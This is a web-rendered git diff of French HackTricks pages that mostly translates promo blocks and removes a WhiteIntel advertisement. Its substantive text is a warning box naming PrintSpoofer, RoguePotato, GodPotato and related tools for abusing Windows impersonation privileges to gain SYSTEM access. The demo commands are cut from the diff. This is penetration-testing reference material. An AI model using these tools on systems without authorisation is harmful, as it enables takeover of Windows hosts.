* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux dépôts github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,39 +1,25 @@
|
||||||
# RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
|
# RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Supportez HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les détournements de compte et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à l'adresse suivante :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
**JuicyPotato ne fonctionne pas** sur Windows Server 2019 et Windows 10 build 1809 et ultérieurs. Cependant, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** peuvent être utilisés pour **exploiter les mêmes privilèges et obtenir un accès au niveau `NT AUTHORITY\SYSTEM`**. Cet [article de blog](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) approfondit l'outil `PrintSpoofer`, qui peut être utilisé pour abuser des privilèges d'imitation sur les hôtes Windows 10 et Server 2019 où JuicyPotato ne fonctionne plus.
|
**JuicyPotato ne fonctionne pas** sur Windows Server 2019 et Windows 10 build 1809 et ultérieurs. Cependant, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** peuvent être utilisés pour **exploiter les mêmes privilèges et obtenir un accès de niveau `NT AUTHORITY\SYSTEM`**. Cet [article de blog](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) approfondit l'outil `PrintSpoofer`, qui peut être utilisé pour abuser des privilèges d'imitation sur les hôtes Windows 10 et Server 2019 où JuicyPotato ne fonctionne plus.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Quick Demo
|
## Démo rapide
|
||||||
|
|
||||||
### PrintSpoofer
|
### PrintSpoofer
|
||||||
```bash
|
```bash
|
||||||
|
@ -117,17 +103,6 @@ nt authority\system
|
||||||
* [https://github.com/zcgonvh/EfsPotato](https://github.com/zcgonvh/EfsPotato)
|
* [https://github.com/zcgonvh/EfsPotato](https://github.com/zcgonvh/EfsPotato)
|
||||||
* [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
|
* [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -139,7 +114,7 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
Loading…
Reference in a new issue